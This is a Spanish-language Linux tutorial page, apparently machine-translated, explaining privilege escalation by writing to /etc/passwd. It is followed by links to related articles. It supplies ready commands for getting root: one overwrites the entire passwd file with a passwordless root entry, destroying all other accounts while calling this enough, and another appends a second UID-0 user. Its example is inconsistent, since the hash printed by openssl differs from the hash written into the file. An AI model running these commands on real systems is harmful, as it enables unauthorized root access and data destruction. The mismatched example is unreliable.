GNU/Linux >> Tutoriales Linux >  >> Linux

Escalada de privilegios usando el archivo passwd

Las contraseñas normalmente se almacenan en /etc/shadow , que no es legible por los usuarios. Sin embargo, históricamente, se almacenaban en el archivo de lectura mundial /etc/passwd junto con toda la información de la cuenta. Para compatibilidad con versiones anteriores, si hay un hash de contraseña en la segunda columna de /etc/passwd , tiene prioridad sobre el de /etc/shadow .

Históricamente, un segundo campo vacío en /etc/passwd significa que la cuenta no tiene contraseña, es decir, cualquiera puede iniciar sesión sin una contraseña (utilizada para cuentas de invitados). Esto a veces está deshabilitado. Si las cuentas sin contraseña están deshabilitadas, puede poner el hash de una contraseña de su elección. Puedes usar el crypt función para generar hashes de contraseña, por ejemplo perl -le 'print crypt("foo", "aa")' para establecer la contraseña en foo .

Es posible obtener acceso de root incluso si solo puede agregar a /etc/passwd y no sobrescribir el contenido. Esto se debe a que es posible tener varias entradas para el mismo usuario, siempre que tengan nombres diferentes:los usuarios se identifican por su ID, no por su nombre, y la característica que define la cuenta raíz no es su nombre sino el hecho de que tiene ID de usuario 0. Por lo tanto, puede crear una cuenta raíz alternativa agregando una línea que declara una cuenta con otro nombre, una contraseña de su elección y una ID de usuario 0.


Solo escribe:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

su

y eres root.

(Eliminando x significa que root ya no requiere contraseña, puede usar sed comando en lugar de echo sin embargo, esto es suficiente para obtener root shell)


Puedes usar este método no destructivo:

# to generate hash of the password
openssl passwd mrcake
hKLD3431415ZE

# to create a second root user with "mrcake" password
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> /etc/passwd

# to switch to a root2
su root2
Password: mrcake 

Linux
  1. Comenzando con ls

  2. Cómo automatizar transferencias de archivos sftp usando la utilidad expect

  3. Usando el comando passwd desde dentro de un script de shell

  4. ¿Es posible cambiar el archivo de la base de datos de contraseñas (/etc/passwd) en Linux?

  5. ¿Conectarse a MySQL a través de la línea de comandos sin usar la contraseña de root?

Uso del archivo de configuración SSH

Usando PHP-FPM con Apache en Ubuntu 16.04

Cómo proteger con contraseña un archivo usando Vim en Linux

Cree una lista de palabras personalizada (archivo de volcado del generador de contraseñas) usando Crunch

¿Cómo cambiar la contraseña de root usando WHM?

Cómo proteger archivos con contraseña usando el editor Vim en Ubuntu